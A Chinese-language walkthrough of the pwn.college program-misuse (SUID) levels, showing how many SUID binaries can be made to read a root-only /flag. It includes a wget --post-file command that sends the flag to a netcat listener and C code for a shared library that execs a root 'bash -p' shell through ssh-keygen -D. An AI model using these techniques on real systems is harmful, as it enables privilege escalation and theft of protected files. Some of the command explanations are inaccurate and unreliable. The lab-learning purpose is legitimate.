level 1~6
Linux读文件的命令:
cat,more,less,tail,head,sort
level 7~9
Linux编辑器:
vim,emacs,nano
level 10~16
其他输出内容的命令:
rev
逆置输出文件内容
od
将指定文件内容以八进制、十进制、十六进制、浮点格式或 ASCII 编码字符方式显示,系统默认的显示方 式是八进制。
使用范例1:
hacker@program-misuse~level11:/$ echo |od -tcx1 flag
0000000 p w n . c o l l e g e { s o 8 i
70 77 6e 2e 63 6f 6c 6c 65 67 65 7b 73 6f 38 69
0000020 g b 7 P p r 7 J 0 S h K I 5 3 v
67 62 37 50 70 72 37 4a 30 53 68 4b 49 35 33 76
0000040 l M H u 9 B L . 0 1 M 1 E D L w
6c 4d 48 75 39 42 4c 2e 30 31 4d 31 45 44 4c 77
0000060 Y T M 2 Q z W } \n
59 54 4d 32 51 7a 57 7d 0a
0000071
使用范例2:(去掉空格,转为16进制,*表示与前面重复,为6c)
hacker@program-misuse~level11:/$ od -An -w1 -tx1 flag|awk '{for(i=1;i<=NF;++i){printf "%s",$i}}'
70776e2e636f6c*6567657b736f3869676237507072374a3053684b493533766c4d487539424c2e30314d3145444c7759544d32517a577d0ahacker@program-misuse~level11:/$
转为ascii: pwn.college{so8igb7Ppr7J0ShKI53vlMHu9BL.01M1EDLwYTM2QzW}
hd(hex dump)
用来查看指定文件的十六进制编码
hacker@program-misuse~level12:/$ hd flag
00000000 70 77 6e 2e 63 6f 6c 6c 65 67 65 7b 77 69 4e 4c |pwn.college{wiNL|
00000010 66 31 74 6d 5a 79 30 66 33 63 51 30 4f 70 73 6f |f1tmZy0f3cQ0Opso|
00000020 67 5a 67 43 57 64 78 2e 30 46 4e 31 45 44 4c 77 |gZgCWdx.0FN1EDLw|
00000030 59 54 4d 32 51 7a 57 7d 0a |YTM2QzW}.|
XXD
十六进制dump工具,可以将二进制文件转换为十六进制表示,并以可读的形式显示
base32/64
将文件内容以base32/64编码形式输出。
split
可以将一个大文件分割成很多个小文件。【可以作用于root限制文件,然后使用cat读取分割后的小 文件获取原文件数据】
level 17 ~ 23
不同的存档格式:
vim可以直接查看压缩文档里面的内容,vim flag.zip 进入压缩目录,光标移至想要查看的文件前面键入enter 即可查看内容。
gzip:
gzip + file 压缩文件,不保留原文件。
gzip -d ,[–decompress] flag.gz 解压缩.gz压缩文件。
【gzip -cd flag.gz 查看压缩文件的内容】
bzip2: 命令与gzip相似,压缩后缀为.bz2。
zip: zip -m test.zip a.txt 压缩a.txt到test.zip归档文件,压缩不保留
unzip -l test.zip 仅仅查看压缩文件信息,不解压缩
tar: tar -cf flag.tar flag 压缩flag到flag.tar归档文件,压缩并保留
ar:
用于建立或修改备存文件,或是从备存文件中抽取文件。
ar cv flag.bak flag 压缩flag到flag.bak归档文件,压缩并保留
cpio:
用来建立,还原备份档的工具程序,它可以加入,解开 cpio 或 tar 备份档内的文件。
find . -iname flag -print | cpio -ov >/tmp/flag.cpio 将flag归档为备份文件flag.cpio,(归档需要一点 时间)位于/tmp文件夹 【/路径无root权限】
$ mkdir output
$ cd output
$ cpio -idv < /tmp/object.cpio
genisoimage :(level23)
命令用于创建 ISO 9660 格式的映像文件,通常用于准备数据以进行光盘刻录。用于创建 ISO 9660 格式的映像文件,通常用于准备数据以进行光盘刻。
genisoimage -o /tmp/testfile.iso /flag 创建为一个名为 testfile.iso 的 ISO 映像,tmp文件夹
参考wp与视频:
EXTREMELY HARD genisoimage -sort /flag -o - /flag
genisoimage --help 2>&1 | grep FILE
https://www.youtube.com/watch?v=14mIjpOXnrM&t=733
level 24~32
单个命令实现绕过root读取flag文件内容
env
利用 env 命令的特殊功能: env 命令可以用来设置环境变量并执行命令。你可以尝试使用 env 命令结合重定向符号来获取 flag 文件的内容。以下是一个示例命令: ** env -i /bin/cat flag**
env -i ./elf 以零环境变量启动elf可执行程序。
find
** **如果只能使用
find
命令来查看文件内容,你可以尝试使用find
命令结合exec
参数来执行其他命令来查> 看文件内容。以下是一个可能的方法:
find / -name 1.txt -exec cat {} \; # 就算cat命令被roo控制也可以读取
这个命令将在整个文件系统中查找名为1.txt
的文件,并使用cat
命令来查看文件内容。{}
表示find
命令找到的文件路径,\;
表示exec
命令的结束。
make
- 想要查看的文件所在文件夹可以创建文件:
1.1 创建Makefile文件:首先,你需要创建一个名为
Makefile
的文件,其中包含了执行cat
命令查看文件内容的规则。你可以使用文本编辑器创建一个Makefile
文件,内容如下:
all:
@cat 1.txt
1.2 执行make命令:将
Makefile
文件保存在与1.txt
相同的目录中,然后在终端中执行以下命令:
make -f Makefile
这将执行
Makefile
文件中的规则,即执行cat 1.txt
命令来查看1.txt
文件的内容。
通过这种方法,你可以使用make
命令来查看文件内容。
- 没有创建文件权限
如果无法在根目录下创建文件,你可以尝试以下方法来使用
make
命令查看根目录下的文件内容:** 2.1直接在命令中指定文件路径**:你可以直接在
make
命令中指定文件路径来查看文件内容,而不需要创建Makefile文件。例如,你可以执行以下命令来查看根目录下的1.txt
文件内容:
make -f /dev/stdin <<<'all: ; @cat /1.txt'
这个命令会执行cat /1.txt
命令来查看根目录下的1.txt
文件内容。
2.2 使用echo命令:另一种方法是使用
echo
命令结合make
命令来查看文件内容。你可以执行以下命令:
echo 'all: ; @cat /1.txt' | make -f -
这个命令会将echo
输出的内容通过管道传递给make
命令来执行,从而查看根目录下的1.txt
文件内容。
nice
nice命令是用于调整进程的优先级的Unix/Linux命令。通过nice命令,你可以指定一个命令运行时的优先级,即CPU调度器在决定哪个进程运行时会考虑到这个优先级。较低的优先级值表示更高的优先级,而较高的优先级值表示更低的优先级。 在Unix/Linux系统中,如果使用nice命令而不指定具体的优先级值,则默认情况下,进程的优先级会继承其父进程的优先级。
- 直接在命令中指定文件路径:你可以直接在
nice
命令中指定文件路径来查看文件内容。例如,你可以执行以下命令来使用nice
命令查看根目录下的1.txt
文件内容:
nice cat /1.txt
这个命令会使用nice
命令来运行cat /1.txt
命令,从而查看根目录下的1.txt
文件内容。
- 使用echo命令:类似地,你也可以使用
echo
命令结合nice
命令来查看文件内容。你可以执行以下命令:
echo 'nice cat /1.txt' | sh
这个命令会将echo
输出的内容通过管道传递给sh
命令来执行,从而使用nice
命令查看根目录下的1.txt
文件内容。
timeout
timeout
命令用于设置命令的运行时间限制。你可以使用以下命令来设置运行时间限制并查看文件内容:
timeout 5s cat /1.txt # 可以绕过root权限
这个命令会将cat /1.txt
命令的运行时间限制设置为5秒,即5秒后如果命令还未执行完毕,则会被强制终止。
stdbuf
stdbuf
命令用于修改标准I/O流的缓冲设置。通过stdbuf
命令,你可以控制命令的输入、输出和错误流的缓冲方式,以便更好地控制命令的行为。
要使用
stdbuf
命令来获取文件内容,你可以按照以下步骤进行操作:
- 使用stdbuf命令:你可以结合
stdbuf
命令和cat
命令来获取文件内容并修改缓冲设置。例如,你可以执行以下命令来获取根目录下的1.txt
文件内容:
stdbuf -o0 cat /1.txt
在这个命令中,-o0
选项表示将标准输出流的缓冲设置为无缓冲,这样可以立即输出文件内容而不等待缓冲区填满。
指定不同的缓冲模式:除了
-o0
选项外,stdbuf
命令还提供了其他选项来控制标准I/O流的缓冲方式,如-i
用于设置标准输入流的缓冲模式,-e
用于设置标准错误流的缓冲模式等。
通过以上命令,你可以使用stdbuf
命令来获取文件内容并修改标准输出流的缓冲设置,以便更好地控制输出行为。
setarch
setarch
命令用于设置进程的架构(architecture),可以用于在不同的架构下执行命令。通过setarch
命令,你可以模拟不同的CPU架构来执行命令。
要使用
setarch
命令来获取文件内容,你可以按照以下步骤进行操作:
- 使用setarch命令:你可以结合
setarch
命令和cat
命令来获取文件内容并设置不同的CPU架构。例如,你可以执行以下命令来获取根目录下的1.txt
文件内容:
setarch x86_64 cat /1.txt
在这个命令中,
x86_64
表示要模拟执行命令的CPU架构为x86_64架构。
- 指定不同的架构:除了
x86_64
架构外,setarch
命令还支持其他架构,如i386
、arm
等,你可以根据需要选择合适的架构来执行命令。
通过以上命令,你可以使用
setarch
命令来获取文件内容并模拟不同的CPU架构来执行命令。
watch 【level 31】
要使用
watch
命令来查看文件内容,你可以按照以下步骤进行操作:
- 使用watch命令:你可以结合
watch
命令和cat
命令来定期查看文件内容。例如,你可以执行以下命令来每隔2秒查看一次根目录下的1.txt
文件内容:
watch -n 2 cat /1.txt
在这个命令中,
-n 2
选项表示每隔2秒执行一次cat /1.txt
命令,从而定期查看文件内容。
- 指定刷新时间间隔:通过调整
-n
选项后面的时间间隔值,你可以控制watch
命令定期执行命令的时间间隔,以便查看文件内容。
通过以上命令,你可以使用
watch
命令来定期查看文件内容,而不需要手动多次执行cat
命令。
使用:watch -x cat /flag
# 在一些Linux发行版中,watch命令可能不支持-x选项,因为-x选项通常用于指定要执行的命令的参数。如果watch命令不支持-x选项,你可以尝试使用其他方法来实现相同的效果,例如使用管道符|将cat /flag的输出传递给watch命令。参见上面代码块(这里只能用这个命令...)
socat 【level 32】
socat - /flag
level 33~ 36
whiptail
whiptail是一个在命令行界面下创建对话框的工具,通常用于在Shell脚本中创建交互式用户界面。它可以显示各种类型的对话框,如消息框、输入框、菜单框、Yes/No框等,使用户能够通过键盘输入或选择选项来与脚本进行交互。
以下是一些常用的whiptail对话框类型和用法:
- 消息框(msgbox): 显示一条消息,并等待用户按下“OK”按钮。
whiptail --msgbox "Hello, World!" 10 30
- 输入框(inputbox): 提示用户输入文本,并将输入的文本保存到变量中。
result=$(whiptail --inputbox "Enter your name:" 10 30 3>&1 1>&2 2>&3)
- 菜单框(menu): 显示一个菜单供用户选择,并将选择的结果保存到变量中。
choice=$(whiptail --menu "Choose an option:" 15 30 4 \
"1" "Option 1" \
"2" "Option 2" \
"3" "Option 3" 3>&1 1>&2 2>&3)
- Yes/No框(yesno): 显示一个Yes/No选项供用户选择,并根据选择返回不同的退出状态。
whiptail --yesno "Do you want to continue?" 10 30
if [ $? -eq 0 ]; then
echo "User chose Yes"
else
echo "User chose No"
fi
通过使用whiptail,你可以在Shell脚本中创建交互式的用户界面,使用户能够更方便地与脚本进行交互和操作。
利用whiptail来读取文件内容,你可以结合使用--textbox
对话框类型。--textbox
对话框可以显示文件的内容,并允许用户浏览和查看文件内容。
- 使用
**--textbox**
对话框显示文件内容:
whiptail --textbox /path/to/file.txt 20 60
这将在对话框中显示指定文件(/path/to/file.txt)的内容,对话框的大小为20行60列。用户可以使用方向键和Page Up/Page Down键来浏览文件内容。
- 结合保存用户选择的文件内容:
如果需要将用户在--textbox
对话框中选择的文件内容保存到变量中,可以使用重定向来实现:
file_content=$(whiptail --textbox /path/to/file.txt 20 60 3>&1 1>&2 2>&3)
这样,用户在对话框中查看文件内容后,按下Enter键,文件内容将被保存到
file_content
变量中。
通过上述步骤,你可以利用whiptail的
--textbox
对话框来显示文件内容,并且可以选择是否将文件内容保存到变量中供后续处理。希望这个详细回答能帮助你成功读取文件内容并与用户交互。如果有任何疑问,请随时提出。
awk
awk是一种强大的文本处理工具,通常用于从文本文件中提取和处理数据。它可以逐行扫描文件,根据指定的模式匹配和执行相应的操作。以下是awk命令的一些主要功能和用途:
- 文本处理
- 数据提取和报告
- 数据转换和格式化
- 文本搜索和替换
- 报表生成
- 自定义脚本
要使用awk命令读取/flag文件,你可以使用awk的
- 使用awk读取文件内容:
awk '{print}' /flag
这条命令将使用awk读取/flag文件的内容,并将其输出到标准输出。
- 将文件内容保存到变量中:
如果需要将文件内容保存到变量中,可以使用重定向来实现:
file_content=$(awk '{print}' /flag)
这样,文件的内容将被保存到
file_content
变量中供后续处理。
- 按行读取文件内容:
如果需要按行读取文件内容并进行处理,可以使用awk的逐行处理能力:
awk '{print "Line " NR ": " $0}' /flag #这条命令将逐行输出/flag文件的内容,并在每行前加上行号。
通过以上步骤,你可以使用awk命令读取/flag文件的内容,并根据需要输出到标准输出或保存到变量。
sed
sed(Stream Editor)是一个流式文本编辑器,用于对文本数据进行处理、转换和编辑。它通常用于Shell脚本和命令行中,可以实现以下功能:
- 文本替换
- 文本删除
- 文本插入
- 文本选取
- 文本转换
- 文本合并
- 脚本编程
要使用sed命令读取文件内容,你可以结合使用sed的打印命令来输出文件的内容。以下是详细的步骤:
- 使用sed读取文件内容:
sed 'p' /path/to/file.txt
这条命令将使用sed读取/path/to/file.txt文件的内容,并将每一行重复打印一次,实现读取文件内容的效果。
- 将文件内容保存到变量中:
如果需要将文件内容保存到变量中,可以使用重定向来实现:
file_content=$(sed 'p' /path/to/file.txt)
这样,文件的内容将被保存到
file_content
变量中供后续处理。
- 按行读取文件内容:
如果需要按行读取文件内容并进行处理,可以使用sed的行范围功能:
sed -n '1,10p' /path/to/file.txt
这条命令将打印/path/to/file.txt文件的前10行内容。
通过以上步骤,你可以使用sed命令读取文件内容,并根据需要输出到标准输出或保存到变量中。
ed
使用ed命令来读取文件内容相对比较复杂,因为ed是一个行编辑器,它主要用于在命令行中逐行编辑文本文件。以下是使用ed命令来读取文件内容的详细步骤:
- 打开文件:
- 首先,使用ed命令打开要读取的文件:
ed /path/to/file.txt
- 显示文件内容:
- 输入以下命令来显示文件内容:
,p
这将打印整个文件的内容到屏幕上。
- 逐行读取文件内容:
- 如果要逐行读取文件内容,可以使用以下命令:
1,$p
这将逐行打印文件的内容到屏幕上,从第一行到最后一行。
- 保存文件内容到变量中:
- 如果需要将文件内容保存到变量中,可以使用重定向和ed的输出命令:
file_content=$(ed -s /path/to/file.txt <<< ",p")
这样,文件的内容将被保存到
file_content
变量中。
- 退出ed编辑器:
- 在完成文件内容的查看后,可以输入以下命令退出ed编辑器:
q
通过以上步骤,你可以使用ed命令来读取文件内容。请注意,ed是一个相对较老的文本编辑器,使用起来可能相对复杂,但仍然可以用于逐行查看和编辑文件内容。
level 37~40
chown
chown
命令用于改变文件或目录的所有者(owner)。只有文件的所有者或超级用户(root)才能使用chown
命令来改变文件的所有者。以下是chown
命令的详细说明:
语法:
chown [新所有者][:新组] 文件或目录
参数:
新所有者
:指定文件或目录的新所有者。新组
:可选参数,指定文件或目录的新所属组。文件或目录
:要改变所有者的文件或目录的路径。
示例用法:
- 改变文件所有者:
chown user1 file.txt
这将把
file.txt
的所有者改为user1
。
- 改变文件所有者和所属组:
chown user2:group2 file.txt
这将把
file.txt
的所有者改为user2
,所属组改为group2
。
- 递归改变目录及其内容的所有者:
chown -R user3:group3 directory/
这将递归地把
directory/
目录及其所有内容的所有者改为user3
,所属组改为group3
。
- 改变符号链接的所有者而不是目标文件:
chown -h user4 symlink
这将把符号链接
symlink
的所有者改为user4
,而不是目标文件的所有者。
chown
命令是一个常用的系统管理命令,用于管理文件和目录的所有者信息。通过合理使用chown
命令,可以确保文件和目录的安全性和权限设置符合需求。
chomd
chmod
命令用于改变文件或目录的权限。通过chmod
命令,用户可以控制文件或目录的读、写、执行权限,以及设置特殊权限如设置用户组的执行权限等。以下是chmod
命令的详细说明:
语法:
chmod [选项] 模式 文件或目录
参数:
选项
:常用选项包括-R
递归修改权限,-v
显示操作详细信息等。模式
:用数字或符号表示的权限模式,如777
或u+rwx,g+rw,o-r
。文件或目录
:要改变权限的文件或目录的路径。
权限模式:
- 数字表示法:每个数字代表一组用户的权限,分别为所有者、所属组和其他用户,权限用数字表示(读=4,写=2,执行=1),三个数字相加即为权限值。例如,
777
表示所有用户都有读、写、执行权限。 - 符号表示法:使用符号来表示权限,包括
u
(所有者)、g
(所属组)、o
(其他用户)、a
(所有用户),以及+
(添加权限)、-
(移除权限)、=
(设置权限)等符号。例如,u+rwx,g+rw,o-r
表示给所有者添加读、写、执行权限,给所属组添加读、写权限,移除其他用户的读权限。
示例用法:
- 设置文件的权限为可读写执行:
chmod 777 file.txt
这将给
file.txt
设置为所有用户都有读、写、执行权限。
- 递归修改目录及其内容的权限:
chmod -R 755 directory/
这将递归地给
directory/
目录及其所有内容设置权限为所有者可读写执行,所属组和其他用户可读执行。
- 为文件添加特殊权限:
chmod +x script.sh
这将给
script.sh
添加执行权限。
chmod
命令是一个常用的系统管理命令,用于管理文件和目录的权限。通过合理使用chmod
命令,可以确保文件和目录的权限设置符合需求。
cp [ level 39 ]
cp
命令本身并不用于读取文件内容,而是用于复制文件或目录。如果要复制具有写保护的文件,可以使用cp
命令的一些选项来处理。下面是详细的步骤:
- 复制具有写保护的文件:
cp -f source_file.txt destination_file.txt
-f
选项用于强制复制文件,即使目标文件是只读的或存在写保护。
- 复制具有写保护的目录及其内容:
cp -rf source_directory/ destination_directory/
-r
选项用于递归复制目录及其内容。-f
选项用于强制复制文件,即使目标文件是只读的或存在写保护。
- 复制并保留源文件的权限和时间戳:
cp -p source_file.txt destination_file.txt
-p
选项用于保留源文件的权限和时间戳。
- 复制并覆盖目标文件:
cp -i source_file.txt destination_file.txt
-i
选项用于在复制前进行确认提示,避免意外覆盖目标文件。
请注意,即使文件具有写保护,使用**cp**
命令复制文件时,目标文件的写保护属性不会被继承,而是根据系统默认权限设置。如果需要在复制后手动设置目标文件的写保护属性,可以使用chmod
命令来实现。
cp -v --no-preserve=all /flag ./flag && cat ./flag && rm -rf ./flag
mv 【level 40】
mv /usr/bin/cat /usr/bin/mv && /challenge/babysuid_level40 && mv /flag
HARD /challenge/babysuid_level40 && mv /usr/bin/cat /usr/bin/mv && /challenge/babysuid_level40 && mv /flag
- This level’s solution is pretty tricky
- The level said it had set the suid for mv after we executed it. So remember, it set the suid just for a program called mv. mv is just a name, no matter what it is in its core logic. That is saying we can replace it with others.
- Here we just rename cat to mv, and covered the original mv program, then execute level program to get the suid privilege for present mv program (However, in core logic, it’s cat program)
- Finally, ‘cat’ it, but our command should be mv /flag
level 41~44
perl
Perl 是一种高级编程语言,它被设计用来处理文本数据并执行系统管理任务。Perl 命令是在命令行中执行 Perl 脚本或代码的方式。下面是一些关于 Perl 命令的详细解释:
- 基本语法:
- 在命令行中执行 Perl 命令的基本语法是
perl -e 'code'
,其中-e
选项表示后面跟着要执行的 Perl 代码。- 你可以在单引号内编写 Perl 代码,然后 Perl 解释器会执行这段代码。
- 选项:
-e 'code'
:指定要执行的 Perl 代码。-n
:逐行读取输入文件,并对每一行执行指定的代码。-p
:与-n
类似,但会打印每一行的结果。
- 使用场景:
- Perl 命令通常用于处理文本数据,例如提取特定行或列,搜索和替换文本等操作。
- 它也可以用于执行系统管理任务,如批量处理文件、生成报告等。
- 示例:
perl -ne 'print if $. == 1' file.txt
:打印文件file.txt
的第一行。perl -pe 's/foo/bar/g' file.txt
:在文件file.txt
中将所有的foo
替换为bar
并打印输出。
总的来说,Perl 命令提供了一种快速而灵活的方式来处理文本数据和执行简单的任务,特别适用于命令行环境下的文本处理需求。
要使用Perl命令读取文件
/1.txt
,你可以使用以下命令:
perl -ne 'print if $. == 1' /1.txt
这个命令使用了 Perl 的
-n
选项,它会逐行读取输入文件。然后,print if $. == 1
这段代码会打印出文件中的第一行内容。
python
当然,您可以使用Python来读取文件
/1.txt
。以下是一个详细的示例代码,演示如何使用Python读取文件内容:
# 打开文件
with open('/1.txt', 'r') as file:
# 逐行读取文件内容
for line in file:
print(line, end='') # 打印每一行内容
这段代码的功能是打开名为 /1.txt
的文件,并逐行读取文件内容,然后将每一行内容打印出来。
ruby
xxx.rb 为该程序语言的文件格式。
要在 Ruby 中启动交互模式,您可以通过以下步骤进行:
- 打开终端或命令提示符。
- 输入以下命令启动 Ruby 的交互式解释器:
irb
- 您将看到类似以下的提示符,表示您已经进入了 Ruby 的交互模式:
irb(main):001:0>
- 现在,您可以在交互式解释器中输入 Ruby 代码,并立即看到结果。例如,您可以尝试输入以下代码:
irb(main):001:0> puts "Hello, World!"
- 按下 Enter 键后,您将看到输出结果:
Hello, World!
=> nil
- 您可以继续输入更多的 Ruby 代码,并立即查看执行结果。交互式解释器会即时执行您输入的代码并显示结果。
- 要退出 Ruby 的交互式解释器,您可以输入
exit
或按下Ctrl + D
。
通过以上步骤,您可以在 Ruby 中启动交互模式,并在其中编写和执行代码。
在 Ruby 的交互模式下,您可以使用以下步骤读取文件
/2.txt
的内容:
- 打开终端或命令提示符。
- 启动 Ruby 的交互式解释器(IRB)
- 在交互式解释器中,使用以下代码读取
/2.txt
文件的内容:
file_content = File.read("/2.txt")
puts file_content
- 按下 Enter 键后,您将看到文件
/2.txt
的内容被打印出来。
bash 【level 44】
bash -p # 该命令不太正常,暂时查不到相关信息
cat /flag
- HARD
- Recommend source: bash suid
level 45~49
【Just straight up wasn’t designed to let you read files!】
date 【level 45】
将所需要读取文件作为data目标文件,借助报错得到文件内容
date -f /flag
dmesg level 46】
dmesg命令用于显示内核环缓冲区的内容
dmesg -F /flag
wc 【level 47】
wc 命令本身并不用于显示文件的实际内容,而是用于统计文件中的行数、字数和字节数等信息
wc --files0-from=/flag
gcc 【level 48】
gcc -x assembler /flag
as 【level 49】
as 命令通常用于将汇编语言源代码文件汇编成目标文件
as @/flag
wget 【level 50】
wget 是一个在命令行下用来从网络下载文件的工具。它支持HTTP、HTTPS和FTP等协议,可以通过URL下载文件到本地计算机。
wget -bv --post-file=/flag 127.0.0.1:3864 | nc -vl 127.0.0.1 3864
- DO NOT use the -i option, it turns all the flag letters to lowercase because of the url encoding rule.
**ssh-keygen 【**level 51 】
** ⭐⭐⭐⭐⭐⭐⭐ 一般程序suid提权**
ssh-keygen 是一个用于生成 SSH 密钥对的命令行工具。SSH 密钥对通常包括公钥(public key)和私钥(private key),用于加密和解密 SSH 连接。
坑:
- 可以使用这行c代码来查询当前执行uid(不要用getuid()):printf(“euid:%d\n”,geteuid());如果为0代表当前执行权限为root。
- 在使用euid=0的权限时不要使用system()函数来运行shell代码,不然会以当前uid权限来执行shell代码,估计也是运行dash而且不会识别euid。
//简单来说就是不要用这个:
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
//而用这个:
char *argvv[]={"bash","-p",NULL};
execvp("/bin/bash",argvv);
知识点:
- 首先是ssh-keygen用-D参数可以直接运行任意的共享库,如果有suid的话就能运行我们的恶意代码造成提权,共享库的创建方式见下方。使用方法:ssh-keygen -D ./su.os
- 可以利用c语言代码:sendfile(1,open(“/flag”,0),0,4096);来打开文件,并且将内容发送给标准输出显示。
- 可以利用设置c语言的attribute属性来使函数在程序预处理阶段运行:
#include<stdio.h>
#include<stdlib.h>
static void inject() __attribute__((constructor));
void inject(){
printf("euid:%d\n",geteuid());
sendfile(1,open("/flag",0),0,4096);
}
- c程序的链接方式包括静态链接和动态链接两种。静态链接库,在以前,程序是独立的,编个程序要从头到尾自己考虑。后来为了方便,把通用的程序放在一起,这就是库,遇到需要类似的功能就可以调用。但是这个有个问题,计算机不知道你要用的是链接库哪一个程序, 所以它不得不将链接库全部程序包含进来,使得程序很大。 动态链接库,本身和静态链接没什么区别,也是把通用代码写进一些独立文件里,但是在编译方面,微软绕了个圈子,并没有采取把库文件加进程序的方法,而是把库文件做成已经编译好的程序,给它们开个交换数据的接口,写程序的时候,一旦要使用某个库文件的一个功能函数,系统就把这个库文件调入内存,连接上这个程序占有的任务进程,然后执行程序要用的功能函数,并把结果返回给程序显示出来,在我们看来,就像是程序自己带有的功能一样。 完成需要的功能后,这个DLL停止运行,整个调用过程结束。 DLL是编译好的代码,与一般程序没什么大差别,只是它不能独立运行,需要程序调用。DLL的代码和其他程序几平没什么两样,仅仅是接口和启动模式不同。
- gcc可以通过-shared参数来创建共享库,共享库不能单独运行,它相当于一个必须被别人调用才能运行的程序,它与普通二进制程序的区别可以通过file命令来查看,共享库没有interpreter这样的字段,也就是没有链接解释器。gcc 51.c -shared -o su.os
- c程序中可以利用<dlfcn.h>头文件中的一系列函数dlopen,dlclose来加载运行共享库,详细说明可以通过:man dlopen来查看。
- ldd命令 用于打印程序或者库文件所依赖的共享库列表。我们可以利用它来查看是否有可操作的os共享库,注入我们的代码。
- 另外一种查询方式是利用strace来查看程序运行全程,然后可以用grep来过滤一下:
strace /usr/local/bin/suid-so 2>&1 | grep -i -E "open|access|no such file"
参考:
- 首先在b站的这个视频学到基本的suid提权之os文件注入方法:suid提权之os文件注入-哔哩哔哩
- 然后在这个视频学到了怎么做这道题,顺带知道了普通可执行程序和共享库之间的区别,还有lld命令的基本使用:CSE 466: Computer Systems Security - Connor’s Office Hours 08/26/2021
通关过程:
编写51.c:
#include<stdio.h>
#include<stdlib.h>
static void inject() __attribute__((constructor));
void C_GetFunctionList(){
printf("euid:%d\n",geteuid());
sendfile(1,open("/flag",0),0,4096);
//system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
char *argvv[]={"bash","-p",NULL};
execvp("/bin/bash",argvv);
}
编译后用ssh-keygen的-D参数运行即可:
gcc 1.c -shared -o su.os
/challenge/babysuid_level51 # 启动程序,给ssh-keygen赋予权限
ssh-keygen -D ./su.os